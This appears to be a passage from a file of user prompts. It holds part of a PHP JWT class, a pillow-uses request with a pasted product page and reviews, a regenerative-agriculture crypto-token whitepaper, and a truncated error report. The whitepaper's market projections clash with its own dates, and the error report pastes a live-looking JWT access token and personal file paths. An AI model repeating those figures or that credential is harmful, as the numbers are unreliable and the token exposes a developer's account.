(empty(static::$supported\\_algs[$alg])) {\n throw new \\DomainException(\'Algorithm not supported\');\n }\n list($function, $algorithm) = static::$supported\\_algs[$alg];\n switch($function) {\n case \'hash\\_hmac\':\n return hash\\_hmac($algorithm, $msg, $key, true);\n case \'openssl\':\n $signature = \'\';\n $success = openssl\\_sign($msg, $signature, $key, $algorithm);\n if (!$success) {\n throw new \\DomainException("OpenSSL unable to sign data");\n } else {\n return $signature;\n }\n }\n }\n\n /\\*\\*\n \\* Verify a signature with the message, key and method. Not all methods\n \\* are symmetric, so we must have a separate verify and sign method.\n \\*\n \\* @param string $msg The original message (header and body)\n \\* @param string $signature The original signature\n \\* @param string|resource $key For HS\\*, a string key works. for RS\\*, must be a resource of an openssl public key\n \\* @param string $alg The algorithm\n \\*\n \\* @return bool\n \\*\n \\* @throws DomainException Invalid Algorithm or OpenSSL failure\n \\*/\n private static function verify($msg, $signature, $key, $alg)\n {\n if (empty(static::$supported\\_algs[$alg])) {\n throw new \\DomainException(\'Algorithm not supported\');\n }\n\n list($function, $algorithm) = static::$supported\\_algs[$alg];\n switch($function) {\n case \'openssl\':\n $success = openssl\\_verify($msg, $signature, $key, $algorithm);\n if ($success === 1) {\n return true;\n } elseif ($success === 0) {\n return false;\n }\n // returns 1 on success, 0 on failure, -1 on error.\n throw new \\DomainException(\n \'OpenSSL error: \' . openssl\\_error\\_string()\n );\n case \'hash\\_hmac\':\n default:\n $hash = hash\\_hmac($algorithm, $msg, $key, true);\n if (function\\_exists(\'hash\\_equals\')) {\n return hash\\_equals($signature, $hash);\n }\n $len = min(static::safeStrlen($signature), static::safeStrlen($hash));\n\n $status = 0;\n for ($i = 0; $i < $len; $i++) {\n $status |= (ord($signature[$i]) ^ ord($hash[$i]));\n }\n $status |= (static::safeStrlen($signature) ^ static::safeStrlen($hash));\n\n return ($status === 0);\n }\n }\n\n /\\*\\*\n \\* Decode a JSON string into a PHP object.\n \\*\n \\* @param string $input JSON string\n \\*\n \\* @return object Object representation of JSON string\n \\*\n \\* @throws DomainException Provided string was invalid JSON\n \\*/\n public static function jsonDecode($input)\n {\n if (version\\_compare(PHP\\_VERSION, \'5.4.0\', \'>=\') && !(defined(\'JSON\\_C\\_VERSION\') && PHP\\_INT\\_SIZE > 4)) {\n /\\*\\* In PHP >=5.4.0, json\\_decode() accepts an options parameter, that allows you\n \\* to specify that large ints (like Steam Transaction IDs) should be treated as\n \\* strings, rather than the PHP default behaviour of converting them to floats.\n \\*/\n $obj = json\\_decode($input, false, 512, JSON\\_BIGINT\\_AS\\_STRING);\n } else {\n /\\*\\* Not all servers will support that, however, so for older versions we must\n \\* manually detect large ints in the JSON string and quote them (thus converting\n \\*them to strings) before decoding, hence the preg\\_replace() call.\n \\*/\n $max\\_int\\_length = strlen((string) PHP\\_INT\\_MAX) - 1;\n $json\\_without\\_bigints = preg\\_replace(\'/:\\s\\*(-?\\d{\'.$max\\_int\\_length.\',})/\', \': "$1"\', $input);\n $obj = json\\_decode($json\\_without\\_bigints);\n }\n\n if (function\\_exists(\'json\\_last\\_error\') && $errno = json\\_last\\_error()) {\n static::handleJsonError($errno);\n } elseif ($obj === null && $input !== \'null\') {\n throw new \\DomainException(\'Null result with non-null input\');\n }\n return $obj;\n }\n\n /\\*\\*\n \\* Encode a PHP object into a JSON string.\n \\*\n \\* @param object|array $input A PHP object or array\n \\*\n \\* @return string JSON representation of the PHP object or array\n \\*\n \\* @throws DomainException Provided object could not be encoded to valid JSON\n \\*/\n public static function jsonEncode($input)\n {\n $json = json\\_encode($input);\n if (function\\_exists(\'json\\_last\\_error\') && $errno = json\\_last\\_error()) {\n static::handleJsonError($errno);\n } elseif ($json === \'null\' && $input !== null) {\n throw new \\DomainException(\'Null result with non-null input\');\n }\n return $json;\n }\n\n /\\*\\*\n \\* Decode a string with URL-safe Base64.\n \\*\n \\* @param string $input A Base64 encoded string\n \\*\n \\* @return string A decoded string\n \\*/\n public static function urlsafeB64Decode($input)\n {\n $remainder = strlen($input) % 4;\n if ($remainder) {\n $padlen = 4 - $remainder;\n $input .= str\\_repeat(\'=\', $padlen);\n }\n return base64\\_decode(strtr($input, \'-\\_\', \'+/\'));\n }\n\n /\\*\\*\n \\* Encode a string with URL-safe Base64.\n \\*\n \\* @param string $input The string you want encoded\n \\*\n \\* @return string The base64 encode of what you passed in\n \\*/\n public static function urlsafeB64Encode($input)\n {\n return str\\_replace(\'=\', \'\', strtr(base64\\_encode($input), \'+/\', \'-\\_\'));\n }\n\n /\\*\\*\n \\* Helper method to create a JSON error.\n \\*\n \\* @param int $errno An error number from json\\_last\\_error()\n \\*\n \\* @return void\n \\*/\n private static function handleJsonError($errno)\n {\n $messages = array(\n JSON\\_ERROR\\_DEPTH => \'Maximum stack depth exceeded\',\n JSON\\_ERROR\\_STATE\\_MISMATCH => \'Invalid or malformed JSON\',\n JSON\\_ERROR\\_CTRL\\_CHAR => \'Unexpected control character found\',\n JSON\\_ERROR\\_SYNTAX => \'Syntax error, malformed JSON\',\n JSON\\_ERROR\\_UTF8 => \'Malformed UTF-8 characters\' //PHP >= 5.3.3\n );\n throw new \\DomainException(\n isset($messages[$errno])\n ? $messages[$errno]\n : \'Unknown JSON error: \' . $errno\n );\n }\n\n /\\*\\*\n \\* Get the number of bytes in cryptographic strings.\n \\*\n \\* @param string\n \\*\n \\* @return int\n \\*/\n private static function safeStrlen($str)\n {\n if (function\\_exists(\'mb\\_strlen\')) {\n return mb\\_strlen($str, \'8bit\');\n }\n return strlen($str);\n }\n}\nclass BeforeValidException extends \\UnexpectedValueException\n{\n}\n\nclass SignatureInvalidException extends \\UnexpectedValueException\n{\n}' -'There is a special travel pillow in the shape of a neck scarf. I will send you its specifications and the opinions of its buyers.\nI want from you:\n1- Give your opinion about this pillow and its advantages and disadvantages\n2- List me at least twenty different uses of this pillow, other than travel, and write a paragraph for each item.\nThe information about this neck scarf travel pillow is:\n"The Best Pillow For Sleeping Sitting Up!\nMAIN FEATURES \n\nOur neck pillow is better than a U-shaped neck pillow and has been strategically designed to prevent stiff necks and sore shoulders. \n\n\\* The Travel Pillow is a SCIENTIFICALLY PROVEN travel pillow to keep your head in a BETTER POSITION when sleeping upright by holding your head in an ergonomic position during rest. No more nodding heads!\n\n\\* SUPER SOFT fleece combined with a unique hidden internal SUPPORT, plus some EXTRA COSY CUSHIONING creates a comfortable resting place for your head and neck.\n\n\\* Available in RED, GREY, and BLACK so you can find a color that suits your style.\n\n\\* Our UNIQUE PATENTED DESIGN is your ticket to an awesome night’s sleep, wherever you are. Designed to look like a SCARF, the Trtl Pillow can be easily adjusted to your comfort.\n\n\\* The Pillow is EASY TO ATTACH to the handle of your backpack or outside of your luggage, and it only WEIGHS HALF A POUND (148 grams)! Say goodbye to bulky neck pillows taking up precious space in your carry-on, or weighing you down duty-free.\n\n\\* ALWAYS FRESH and ready to go, The Pillow is also MACHINE WASHABLE!\n\nHOW TO USEKhông có mô tả.Không có mô tả.Không có mô tả.\n\nOUR GUARANTEE\n📦 Insured Worldwide Shipping: Each order includes real-time tracking details and insurance coverage in the unlikely event that a package gets lost or stolen in transit.\n\n💰 Money-Back Guarantee: If your items arrive damaged or become defective within 15 days of normal usage, we will gladly issue out a replacement or refund.\n\n✉️ 24/7 Customer Support: We have a team of live reps ready to help and answer any questions you have within a 24-hour time frame, 7 days a week.\n\n🔒 Safe & Secure Checkouts: We use state-of-the-art SSL Secure encryption to keep your personal and financial information 100% protected.\n\n\nTRAVEL NECK PILLOW\n\n€16,82 €33,66\nColor\n\nGray\nCombo\n\n1 PC\nQuantity\n1\n\nADD TO CART\nOverall rating: 5/5\nSee all reviews (215)\n5\n\n100%\n4\n\n0%\n3\n\n0%\n2\n\n0%\n1\n\n0%\n\nMost recent\nProduct reviews (20)Store reviews (0)\nLorrie Burcin\nLorrie Burcin\n02/09/2023\nI was impressed with the support of the trtl pillow. I have tried the traditional neck pillow in the past and was never able to sleep. It is still difficult to sleep sitting upright, but it was pretty comfy and I didn\'t wake up with a sore neck. It really did feel like I was sleeping on someone\'s shoulder. My only beef was that my wireless headphones wouldn\'t stay in my ears. The next generation could incorporate headphones and I would be set.\n\nErrol Favaro\nErrol Favaro\n02/07/2023\nI acutally really like this thing.\n\nLuana Marrietta\nLuana Marrietta\n02/07/2023\nI started with 2, but my brother stole one because he has trouble finding masks that fit his large-ish head and beard! I replaced that one. Shortly thereafter, I bought 3 more so I have one for every day of the week. They are easy to pull on and off, easy to adjust to the perfect size, and are comfortable enough for all day wear - with no ear pain.\n\nKyong Croce\nKyong Croce\n02/06/2023\nVery very good.\nCarlotta Rinn\nCarlotta Rinn\n01/31/2023\nIn the past I have tried different methods and products to try sleeping on flights. Nothing really works very well. I have not yet flown using my trtl pillow but just putting it on while sitting at home I felt I could easily take a nice nap. It is very soft and truly does provide good support for my head and neck. Can’t wait to fly again!\nShira Billigmeier\nShira Billigmeier\n01/29/2023\nThis is a great Neck pillow When you want to be comfortable on a chair or upright position and you can\'t lay down! I also have back and neck problems and it supports my neck pretty comfortably. You can swivel it around to each side each side, front or or back. I prefer switching it around from right to left, Depending on what feels comfortable at that moment. I would get this pillow For any of my family members. This is a unique great gift idea. I love this travel neck pillow because it works!\n\nGemma Machi\nGemma Machi\n01/29/2023\nMy dad loves this so muchhh. Thank shop\n\nKasey Buggs\nKasey Buggs\n01/27/2023\nExcellent product. I loved. I recommend it. I bought this for a long flight and haven\'t used it for that yet, but I did try it out for a sitting up nap. It worked well and wasn\'t too warm. If it survives an 8 hour flight along with my neck, it will get five\n\nVicenta Fotheringham\nVicenta Fotheringham\n01/27/2023\nThis thing is weird, but wonderful! Soft and cozy, it doesn\'t get hot (and I sleep HOT), and I can wear my noise-cancelling headphones and shades without issue! I did disassemble to wash and had a hard time getting the sewn-in foam insert to dry all the way. Hung it for a day or two and that did the job. Also the velcro looks gentle but could be lethal to other clothes in the laundry. I put it in a lingerie sack and the velcro stuck right to the sack and messed the fabric up a bit-definitely velcro it closed and/or use a lingerie sack when washing. All that said, the pillow has elevated my car travel experience immensely. I am very happy with it. Highly recommend!\n\nJeanie Iguina\nJeanie Iguina\n01/26/2023\nThis pillow was very helpful to me and supported my neck very well during my flight. You may consider Junior size if your hight is under 170cm.\n\nFrancine Feiertag\nFrancine Feiertag\n01/23/2023\nI\'ve honestly never slept while traveling much at all. I\'m perimenopausal, so hot flashes are a thing, but as long as I have cooled down enough before I put it on I can go right to sleep. It is made of a very soft fleece, though, so it can get hot. It\'s not the kind of fleece that is super silky, but it\'s durable and comfortable on your face. The head support is springy, but supportive. This doesn\'t work well with over-the-ear headphones, and it\'s uncomfortable to wear an earbud in the ear that is against the support. All that said, I am very happy with this purchase.\n\nTreena Nansteel\nTreena Nansteel\n01/23/2023\nWhat I love about this is that it’s easy to wash so that after you travel if you don’t feel like burning the pillow. Regular travel pillows kind of get gross and musty when they are stored and otherwise are kind of disposable. I’m bad for the environment. I’m hoping this thing will last for many years. The only thing I wish it came with was a little travel bag to keep it clean. It’s a little hard to pack because it’s an odd 3-D shape.\nJessie Casaus\nJessie Casaus\n01/20/2023\nI have a pain on my neck so every time I traveled that pain get worse. I gave a try to trtl and was great to help me keep my neck in a better position. Also I like your neck get warm with the cold A/C from the plane\n\nDelta Neidert\nDelta Neidert\n01/18/2023\nI was hesitant at first on purchasing this pillow. I flew from California to Hawaii so comfortably! I didn’t have to bend my neck against the window. This was probably one of my best purchases ever!\n\nAbe Ehrismann\nAbe Ehrismann\n01/16/2023\nAmazing pillow! I wish I had known about this years ago as it would have been perfect for so many occasions. I was a bit unsure about how the internal plastic support structure would feel but it is very comfortable. I have already bought 2 of these and will definitely be buying more especially as gifts as I know a lot of people that would love this! I use it all the time and take it everywhere with me.\nGustavo Surman\nGustavo Surman\n10/24/2022\nVery practical I reccommend this pillow.Thanks\nKaryl Warley\nKaryl Warley\n09/21/2022\nArrived on time. Good service by Favocy shop! Do a great job and keep going.\n\nCandelaria Camaj\nCandelaria Camaj\n09/14/2022\nAt last I can enjoy my rides on the bus. Excellent device.\n\nBrendon Panameno\nBrendon Panameno\n08/26/2022\nThis is one of the more comfortable travel pillows I have used. Excellent!\n\nVeronica Konno\nVeronica Konno\n08/19/2022\nThe track was tracked, picked up in the post office. An interesting scarf pillow, made with high quality, the fleece is not thin, pleasant to the touch, the threads do not stick out, the Velcro is strong, there is a plastic insert inside, you can get and wash the shell. I tried it, it holds my head quite comfortably. Thanks seller"' -"Token Economics\nThe Fresh Earth ecosystem aims to have a significant impact on the environment, society and economy by promoting regenerative agriculture and sustainable food systems, using key performance indicators to measure and validate this impact, and by fostering collaboration, innovation and best practices among stakeholders.\n\nEconomic Model\nThe Fresh Earth Token is a verifiable science and technology-based token that measures the impact of regenerative practices using KPIs such as carbon sequestration, biodiversity, water retention, reduction in chemical use, and an increase in the quality of food. This ensures that the ecosystem's activities are having a real and measurable impact on the environment and society.\n\nAdditionally, the Fresh Earth ecosystem promotes collaboration and knowledge-sharing among its stakeholders, fostering innovation and best practices in regenerative agriculture. This helps to accelerate the adoption of regenerative practices and improve the overall impact of the ecosystem. By connecting farmers on the regenerative pathway with consultants, suppliers, funding and markets the ecosystem helps to reduce costs and risks for farms, and allows businesses and consumers to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Fresh Earth Token leverages additional external funding from government schemes such as emissions trading schemes and carbon trading futures to further drive the regeneration and growth of the ecosystem. This model is aligned with the growing consumer trend towards sustainable and regenerative food systems, as well as addressing the urgent need to address climate change and food security.\n\nThe efficiency of farmers converting land to regenerative farms is supported by the fact that regenerative farming practices not only improve the health of the soil, but also lead to higher crop yields, increased resilience to climate change, and improved water retention. Consumer demand for regenerative food further drives the growth of the ecosystem, as farmers respond to the market demand by converting more land to regenerative practices.\n\nThe economic system that underpins this project is based on creating value from the verified impact KPIs, and redistributing it in the current ecosystem through the use of existing economic modeling systems that are recognized. Research suggests that regenerative agriculture can improve the profitability of farmers by reducing input costs, improving crop yields, and increasing resilience to climate change.\n\nIn this unique economic model the Token represents fractional ownership of a decentralized autonomous organization (DAO) that manages the food ecosystem business, allowing investors to participate in the growth and success of the ecosystem and share in the value generated.\n\nInvesting in the Fresh Earth token not only allows individuals and organizations to financially benefit from the growth of the ecosystem but also play a role in creating a more sustainable and regenerative food system for the planet and society. Examples of companies that have implemented similar models and have seen success include Patagonia Provisions, Danone, and Mars. \n\n \n\nValuation Logic of the Fresh Earth Token:\nThe regenerative food market is expected to reach $4.5 billion by 2022, growing at a CAGR of 16.2%.\n\nThe Regenerative Agriculture Association cites that regenerative agriculture can lead to a 30% reduction in greenhouse gas emissions, while also increasing biodiversity and improving soil health.\n\nStudies have shown that regenerative agriculture can sequester carbon at rates of 0.4% to 0.9% per year, while also improving soil health, water retention, and crop yields.\n\nThere are economic incentives for farmers to adopt regenerative practices such as government subsidies and carbon offset markets.\n\nMonetizing the Fresh Earth Token: Economic Models and Funding Opportunities\nThe Fresh Earth Token, through its ability to measure and verify impact in its KPIs and the use of deep scientific data on regenerative farms and practices, is able to access funding from various markets. This includes:\n\nCarbon Offsetting: The global carbon offset market is valued at $189 billion and is projected to reach $531 billion by 2027. The token's ability to register, facilitate, monitor and validate verified carbon sequestration projects and sell them to companies and organizations to offset their carbon emissions provides a major source of revenue. Part of that revenue will go to the farmer or project, and part (~20%) wll be retained by Fresh Earth for services provided.\n\nBiodiversity, water retention and other benefits: Regenerative farming practices that store carbon in the soil bring many concomitant benefits, such as increased fertility, water retention and food nutrient density. Regenerative oractises can also target other regenerative and ESG outcome such as biodiversity and animal welfare. At an early stage these provide ESG value, and eventually, first on social markets and eventually government mandated markets, many of these will monetizable - see below.\n\nPay for Performance: The pay for performance market is valued at $2 billion and is projected to reach $8 billion by 2022. The token's ability to measure and verify specific environmental and social outcomes, such as reducing emissions and increasing energy efficiency, allows for the token to be used as a reward for companies and organizations that meet certain goals.\n\nImpact Investing: The impact investing market is valued at $502 billion and is projected to reach $913 billion by 2020. The token's ability to generate measurable social and environmental impact alongside financial returns allows impact investors to invest in projects such as regenerative farming practices.\n\nCommunity-based financing: The community-based financing market is valued at $6.1 billion and is projected to reach $11.9 billion by 2022. The token's ability to provide funding for sustainable development projects, such as renewable energy and sustainable agriculture, allows for communities to directly invest in and benefit from these projects.\n\nRegenerative Agriculture Financing: The regenerative agriculture financing market is valued at $3 billion and is projected to reach $9 billion by 2025. The token's ability to provide financing for farmers to adopt regenerative farming practices, such as cover cropping, agroforestry, and holistic grazing, allows for the growth and success of the regenerative agriculture industry.\n\nWater Rights Trading: The water rights trading market is valued at $11 billion and is projected to reach $22 billion by 2025. The token's ability to measure and verify water usage and conservation efforts allows for farmers to trade water rights and optimize water usage, reduce waste, and improve water quality.\n\nBiodiversity Offsets: The biodiversity offset market is valued at $1 billion and is projected to reach $3 billion by 2025. The token's ability to measure and verify conservation projects that protect or restore biodiversity allows companies to offset the loss of biodiversity caused by their activities.\n\nEcosystem Services Markets: The ecosystem services market is valued at $6 billion and is projected to reach $12 billion by 2025. The token's ability to measure and verify practices that provide ecosystem services, such as carbon sequestration, water purification, and pollination, allows companies to purchase credits from farmers and landowners that are implementing these practices.\n\nConservation Easements: The conservation easements market is valued at $3 billion and is projected to reach $5 billion by 2025. The token's ability to measure and verify land use practices that protect important ecological areas and biodiversity allows for landowners to restrict the development of their land in exchange for financial compensation.\n\nBenefit-sharing agreements: The benefit-sharing agreements market is valued at $2 billion and is projected to reach $4 billion by 2025. The token's ability to measure and verify conservation and sustainable land use practices, such as carbon sequestration, water purification, and pollination, allows local communities to share in the benefits of these practices.\n\nCommunity Land Trusts: The community land trusts market is valued at $2 billion and is projected to reach $4 billion by 2025. The token\n\n \n\n7. Team\nA. Overview of the Fresh Earth team\n\nThe Fresh Earth team is a group of dedicated individuals with a passion for creating a more sustainable and equitable food system. The team is composed of experts in regenerative agriculture, blockchain technology, marketing, and environmental science. With a combined experience of over 100 years, the Fresh Earth team is well-equipped to deliver on their mission.\n\nB. Team members\n\nLuke Makepeace - Co-Founder and CEO. A serial entrepreneur with 20 years of experience in developing complex ecosystems including a regenerative commerce ecosystem and a distributed generation modelling ecosystem for optimization of power grids.\n\nMike McCosker - Co-Founder and Chief of Regenerative Farming. A fourth-generation farmer with 30+ years of experience in regenerative agriculture.\n\nBen Nott - Co-Founder and CMO. Founder of World Wide Mind and winner of over 100 international Creative Advertising and Film Directing awards.\n\nDr. Paul Taylor, PhD - Co-Founder and Chief of Science. A published scientific research author specializing in Agriculture and Environmental science.\n\nShaun McLean - CTO. An innovative entrepreneur and experienced software developer with a strong background in blockchain technology and web3 development. With 20+ years of experience as a technology professional, this individual has a proven track record of providing the crucial bridge between business, marketing, customer, and technology teams. He has led the development of several decentralized applications and understands the technical requirements and considerations for building a decentralized platform like Fresh Earth.\n\nDave Dawson - Head of Enterprise & Institutional Relationships. A business strategy expert.\n\nRussell Rankin - Innovation Specialist. Specializes in food innovation and connecting industry with research and government bodies.\n\n8. Partnerships and Collaborations\nPartners: A list of partners and organizations supporting the Fresh Earth ecosystem and the Fresh Earth Token.\n\nEnvironmental organizations or non-profits focused on sustainable agriculture and regenerative farming practices\n\nAgricultural research institutions or universities with expertise in regenerative agriculture\n\nGovernment agencies or departments involved in agricultural policy and funding\n\nLarge food companies or retailers committed to sourcing sustainable and regeneratively-produced food products\n\nOther blockchain or decentralized platform companies with relevant experience or technology\n\nImpact investors or venture capital firms interested in investing in sustainable food and agriculture startups.\n\n9. Roadmap\nPhase 1 (Q1 - Q2 2021): Development of the Fresh Earth Token and the Fresh Earth ecosystem's technical infrastructure.\n\nPhase 2 (Q3 - Q4 2021): Testing and validation of the Fresh Earth ecosystem and its components, including the B2B and B2C marketplaces, Project Management Platform, Data Managment Platform, and Rewards System.\n\nPhase 3 (Q1 2022): Launch of the Fresh Earth Token and the Fresh Earth ecosystem. This includes the release of the Fresh Earth Token on a decentralized exchange (DEX) and the launch of the B2B and B2C marketplaces, as well as the Project Management Platform.\n\nPhase 4 (Q2 - Q3 2022): Expansion of the Fresh Earth ecosystem to include more farmers, consumers, and investors. This includes the development of partnerships with organizations that support regenerative agriculture and the establishment of a network of experts and stakeholders who can contribute to the development and validation of regenerative systems.\n\nPhase 5 (Q4 2022 - Q1 2023): Implementation of key performance indicators (KPIs) to measure and validate the impact of regenerative practices, and the potential for external funding from government schemes such as carbon trading.\n\nPhase 6 (Q2 2023 and beyond): Continuous improvement and expansion of the Fresh Earth ecosystem, including the development of new features and services that promote sustainable practices and drive progress in regenerative agriculture.\n\n10. Legal\n11. Conclusion\nThe Fresh Earth ecosystem represents a revolutionary solution for transforming the agri-food industry and addressing issues of climate change, health, and food security. The ecosystem is designed to incentivize participation and engagement of stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices. The Fresh Earth Token is the core of the ecosystem and serves as a store of value and a tool for generating verifiable impact within the ecosystem.\n\nThe ecosystem includes a variety of different components, including a B2B marketplace, B2C marketplace, Project Management Platform, Data Managment Platform, and Rewards System. These components work together to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe impact outcomes of the Fresh Earth ecosystem are validated with the use of key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density providing verified measurements of impact. This can be leveraged to secure external funding from government schemes.\n\nOverall, the Fresh Earth ecosystem is a innovative and sustainable solution for the agri-food industry, and the Fresh Earth Token plays a crucial role in driving participation, investment and the transition to regenerative practices. It is a transformative step towards a greener and more sustainable future for all.\n\nThe Fresh Earth ecosystem represents a unique opportunity for investors to participate in a revolutionary solution for transforming the agri-food industry and addressing issues of climate change, health, and food security. \n\n \n\nAdditional Resources \n\nAdditional resources for readers who want to learn more about the Fresh Earth ecosystem and the Fresh Earth Token, such as articles, videos, and links to the project's social media accounts.\n\nLinks to the Fresh Earth Token website and whitepaper\n\nLinks to the project's social media accounts (e.g. Twitter, Facebook, LinkedIn)\n\nArticles and reports on regenerative agriculture and its impact on the environment and food security\n\nVideos and webinars on the Fresh Earth ecosystem and its components\n\nResearch studies and data on the performance of regenerative agriculture\n\nCase studies of successful regenerative agriculture projects\n\nLinks to other relevant organizations and initiatives in the regenerative agriculture space\n\nBooks and publications on regenerative agriculture and related topics\n\nInfographics and other visual resources to help explain the Fresh Earth ecosystem and its impact." -'got this error: \n\nJWT access token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IlFSX2ZuamF2V0pHNUs2X1h6elpEeSJ9.eyJpc3MiOiJodHRwczovL2Rldi03c3I0em14MjNuenJ6eHJ6LnVzLmF1dGgwLmNvbS8iLCJzdWIiOiJhdXRoMHw2NDIyZWNmODczOTk3NmI3NDcwZTgzZjciLCJhdWQiOlsiaHR0cHM6Ly9hcGkud2hpbXN5YXBwLmNvbSIsImh0dHBzOi8vZGV2LTdzcjR6bXgyM256cnp4cnoudXMuYXV0aDAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTY4MDEwNjkyMCwiZXhwIjoxNjgwMTkzMzIwLCJhenAiOiIwWkZJOEVWOTZiUGlGb3NSVk02ckNuWGZxMXJzQUxSeiIsInNjb3BlIjoib3BlbmlkIHByb2ZpbGUgZW1haWwifQ.ceums1\\_3\\_wQgBSJLxYq0iLbNTzPzMTjQL9nbijLH01WH1SbiadYQ3J8vcv-byXoxG3sVcqM77cQLPm-AsJRzA-dC2TI4\\_OidNLBhPRimE0kjXWtr3whMURkuZPXEcbgIoZZgXds-6Z3BV5F-iyK-39eMPJ4GbiGAojwz49fhXivXyM3KYhpbUwoEXqTBCvAdo3zxOXn8BUOW7alc-fel9MdbmDrRlMt4B\\_dbgDnApiZbvVwOv1doiqozDKXmJ-zjV4g2fJesf36jFJXkVV3JKry7MfqHR7uW2KEyGr-zgN3jxuCvHcRivFhjAj2wy2crCkAYDSII9a6jlMoSbEoNcA\nJWKS URI: https://dev-7sr4zmx23nzrzxrz.us.auth0.com/.well-known/jwks.json\nINFO: 127.0.0.1:63718 - "POST /checkout HTTP/1.1" 500 Internal Server Error\nERROR: Exception in ASGI application\nTraceback (most recent call last):\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/uvicorn/protocols/http/h11\\_impl.py", line 373, in run\\_asgi\n result = await app(self.scope, self.receive, self.send)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/uvicorn/middleware/proxy\\_headers.py", line 75, in \\_\\_call\\_\\_\n return await self.app(scope, receive, send)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/applications.py", line 276, in \\_\\_call\\_\\_\n await super().\\_\\_call\\_\\_(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/applications.py", line 122, in \\_\\_call\\_\\_\n await self.middleware\\_stack(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/errors.py", line 184, in \\_\\_call\\_\\_\n raise exc\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/errors.py", line 162, in \\_\\_call\\_\\_\n await self.app(scope, receive, \\_send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/cors.py", line 92, in \\_\\_call\\_\\_\n await self.simple\\_response(scope, receive, send, request\\_headers=headers)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/cors.py", line 147, in simple\\_response\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 79, in \\_\\_call\\_\\_\n raise exc\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 68, in \\_\\_call\\_\\_\n await self.app(scope, receive, sender)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 21, in \\_\\_call\\_\\_\n raise e\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 18, in \\_\\_call\\_\\_\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 718, in \\_\\_call\\_\\_\n await route.handle(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 276, in handle\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 66, in app\n response = await func(request)\n ^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/routing.py", line 227, in app\n solved\\_result = await solve\\_dependencies(\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/dependencies/utils.py", line 623, in solve\\_dependencies\n solved = await run\\_in\\_threadpool(call, \\*\\*sub\\_values)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/concurrency.py", line 41, in run\\_in\\_threadpool\n return await anyio.to\\_thread.run\\_sync(func, \\*args)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/to\\_thread.py", line 31, in run\\_sync\n return await get\\_asynclib().run\\_sync\\_in\\_worker\\_thread(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/\\_backends/\\_asyncio.py", line 937, in run\\_sync\\_in\\_worker\\_thread\n return await future\n ^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/\\_backends/\\_asyncio.py", line 867, in run\n result = context.run(func, \\*args)\n ^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Development/whimsyworks/api/auth/dependencies.py", line 7, in validate\\_token\n return JsonWebToken(token).validate()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Development/whimsyworks/api/auth/json\\_web\\_token.py", line 25, in validate\n jwk\\_set = 